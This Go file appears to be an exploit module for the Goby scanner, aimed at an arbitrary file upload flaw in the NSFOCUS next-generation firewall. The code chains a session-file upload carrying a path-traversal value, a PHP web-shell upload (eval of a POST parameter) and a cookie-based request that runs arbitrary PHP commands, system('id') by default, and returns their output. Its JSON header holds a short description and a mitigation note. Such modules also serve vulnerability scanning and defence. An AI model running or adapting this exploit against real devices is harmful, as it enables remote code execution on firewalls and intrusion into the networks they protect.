package exploits

import (
	"fmt"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"net/url"
	"strings"
	"time"
)

func init() {
	expJson := `{
    "Name": "nsfocus resourse.php arbitrary file upload vulnerability",
    "Description": "<p>NSFOCUS Next Generation Firewall is a dedicated security firewall device.</p><p>There is an arbitrary file upload vulnerability in the NSFOCUS next-generation firewall bugsInfo/resourse.php file. An attacker can upload a malicious Trojan to gain server permissions.</p>",
    "Impact": "nsfocus resourse.php arbitrary file upload vulnerability",
    "Recommendation": "<p>1. Block 8081 port access. 2. Pay attention to the update of the official website in time: <a href=\"https://www.nsfocus.com.cn/\">https://www.nsfocus.com.cn/</a></p>",
    "Product": "nsfocus",
    "VulType": [
        "Code Execution"
    ],
    "Tags": [
        "Code Execution"
    ],
    "Translation": {
        "CN": {
            "Name": "绿盟下一代防火墙 resourse.php 任意文件上传漏洞",
            "Description": "<p>绿盟下一代防火墙是一款专用安全防火墙设备。<br></p><p>绿盟下一代防火墙 bugsInfo/resourse.php 文件存在任意文件上传漏洞，攻击者可上传恶意木马，获取服务器权限。<br></p>",
            "Impact": "<p>绿盟下一代防火墙 bugsInfo/resourse.php 文件存在任意文件上传漏洞，攻击者可上传恶意木马，获取服务器权限。<br></p>",
            "Recommendation": "<p>1、阻拦8081端口访问。2、及时关注官网更新：<a href=\"https://www.nsfocus.com.cn/\">https://www.nsfocus.com.cn/</a><br></p>",
            "Product": "绿盟下一代防火墙",
            "VulType": [
                "代码执行"
            ],
            "Tags": [
                "代码执行"
            ]
        },
        "EN": {
            "Name": "nsfocus resourse.php arbitrary file upload vulnerability",
            "Description": "<p>NSFOCUS Next Generation Firewall is a dedicated security firewall device.<br></p><p>There is an arbitrary file upload vulnerability in the NSFOCUS next-generation firewall bugsInfo/resourse.php file. An attacker can upload a malicious Trojan to gain server permissions.<br></p>",
            "Impact": "nsfocus resourse.php arbitrary file upload vulnerability",
            "Recommendation": "<p>1. Block 8081 port access. 2. Pay attention to the update of the official website in time: <a href=\"https://www.nsfocus.com.cn/\">https://www.nsfocus.com.cn/</a><br></p>",
            "Product": "nsfocus",
            "VulType": [
                "Code Execution"
            ],
            "Tags": [
                "Code Execution"
            ]
        }
    },
    "FofaQuery": "banner=\"PHPSESSID_NF\" || header=\"PHPSESSID_NF\"",
    "GobyQuery": "banner=\"PHPSESSID_NF\" || header=\"PHPSESSID_NF\"",
    "Author": "LittleBlack",
    "Homepage": "https://www.nsfocus.com.cn/",
    "DisclosureDate": "2022-07-18",
    "References": [
        "https://fofa.so/"
    ],
    "HasExp": true,
    "Is0day": false,
    "Level": "3",
    "CVSS": "9.5",
    "CVEIDs": [],
    "CNVD": [],
    "CNNVD": [],
    "ScanSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/",
                "follow_redirect": false,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/",
                "follow_redirect": false,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExpParams": [
        {
            "name": "cmd",
            "type": "input",
            "value": "system('id');",
            "show": ""
        }
    ],
    "ExpTips": {
        "type": "",
        "content": ""
    },
    "AttackSurfaces": {
        "Application": [],
        "Support": [],
        "Service": [],
        "System": [],
        "Hardware": []
    },
    "PocId": "10477"
}`

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			u1 := httpclient.NewFixUrl("https://" + u.IP + ":8081")
			uri1 := "/api/v1/device/bugsInfo"
			cfg1 := httpclient.NewPostRequestConfig(uri1)
			cfg1.VerifyTls = false
			cfg1.FollowRedirect = false
			cfg1.Header.Store("Content-Type", "multipart/form-data; boundary=1d52ba2a11ad8a915eddab1a0e85acd9")
			cfg1.Data = "--1d52ba2a11ad8a915eddab1a0e85acd9\r\nContent-Disposition: form-data; name=\"file\"; filename=\"sess_82c13f359d0dd8f51c29d658a9c8ac71\"\r\n\r\nlang|s:52:\"../../../../../../../../../../../../../../../../tmp/\";\r\n--1d52ba2a11ad8a915eddab1a0e85acd9--\r\n"
			if resp, err := httpclient.DoHttpRequest(u1, cfg1); err == nil && resp.StatusCode == 200 && strings.Contains(resp.RawBody, "upload file success") {
				time.Sleep(time.Second * 5)
				uri2 := "/api/v1/device/bugsInfo"
				cfg2 := httpclient.NewPostRequestConfig(uri2)
				cfg2.VerifyTls = false
				cfg2.FollowRedirect = false
				cfg2.Header.Store("Content-Type", "multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef")
				cfg2.Data = "--4803b59d015026999b45993b1245f0ef\r\nContent-Disposition: form-data; name=\"file\"; filename=\"compose.php\"\r\n\r\n<?php eval($_POST[1]);?>\r\n--4803b59d015026999b45993b1245f0ef--\r\n"
				if resp2, err2 := httpclient.DoHttpRequest(u1, cfg2); err2 == nil && resp2.StatusCode == 200 && strings.Contains(resp2.RawBody, "upload file success") {
					u3 := httpclient.NewFixUrl("https://" + u.IP + ":4433")
					uri3 := "/mail/include/header_main.php"
					cfg3 := httpclient.NewPostRequestConfig(uri3)
					cfg3.VerifyTls = false
					cfg3.FollowRedirect = false
					cfg3.Header.Store("Cookie", "PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71")
					cfg3.Header.Store("Content-Type", "application/x-www-form-urlencoded")
					cfg3.Data = "1=print+md5%281%29%3B"
					if resp3, err := httpclient.DoHttpRequest(u3, cfg3); err == nil {
						return resp3.StatusCode == 200 && strings.Contains(resp3.RawBody, "c4ca4238a0b923820dcc509a6f75849b")
					}
				}
			}
			return false
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			cmd := ss.Params["cmd"].(string)
			u1 := httpclient.NewFixUrl("https://" + expResult.HostInfo.IP + ":8081")
			uri1 := "/api/v1/device/bugsInfo"
			cfg1 := httpclient.NewPostRequestConfig(uri1)
			cfg1.VerifyTls = false
			cfg1.FollowRedirect = false
			cfg1.Header.Store("Content-Type", "multipart/form-data; boundary=1d52ba2a11ad8a915eddab1a0e85acd9")
			cfg1.Data = "--1d52ba2a11ad8a915eddab1a0e85acd9\r\nContent-Disposition: form-data; name=\"file\"; filename=\"sess_82c13f359d0dd8f51c29d658a9c8ac71\"\r\n\r\nlang|s:52:\"../../../../../../../../../../../../../../../../tmp/\";\r\n--1d52ba2a11ad8a915eddab1a0e85acd9--\r\n"
			if resp, err := httpclient.DoHttpRequest(u1, cfg1); err == nil && resp.StatusCode == 200 && strings.Contains(resp.RawBody, "upload file success") {
				time.Sleep(time.Second * 5)
				uri2 := "/api/v1/device/bugsInfo"
				cfg2 := httpclient.NewPostRequestConfig(uri2)
				cfg2.VerifyTls = false
				cfg2.FollowRedirect = false
				cfg2.Header.Store("Content-Type", "multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef")
				cfg2.Data = "--4803b59d015026999b45993b1245f0ef\r\nContent-Disposition: form-data; name=\"file\"; filename=\"compose.php\"\r\n\r\n<?php eval($_POST[1]);?>\r\n--4803b59d015026999b45993b1245f0ef--\r\n"
				if resp2, err2 := httpclient.DoHttpRequest(u1, cfg2); err2 == nil && resp2.StatusCode == 200 && strings.Contains(resp2.RawBody, "upload file success") {
					u3 := httpclient.NewFixUrl("https://" + expResult.HostInfo.IP + ":4433")
					uri3 := "/mail/include/header_main.php"
					cfg3 := httpclient.NewPostRequestConfig(uri3)
					cfg3.VerifyTls = false
					cfg3.FollowRedirect = false
					cfg3.Header.Store("Cookie", "PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71")
					cfg3.Header.Store("Content-Type", "application/x-www-form-urlencoded")
					cfg3.Data = fmt.Sprintf("1=%s", url.QueryEscape(cmd))
					if resp3, err := httpclient.DoHttpRequest(u3, cfg3); err == nil && resp3.StatusCode == 200 {
						expResult.Output = resp3.RawBody
						expResult.Success = true
					}
				}
			}
			return expResult
		},
	))
}
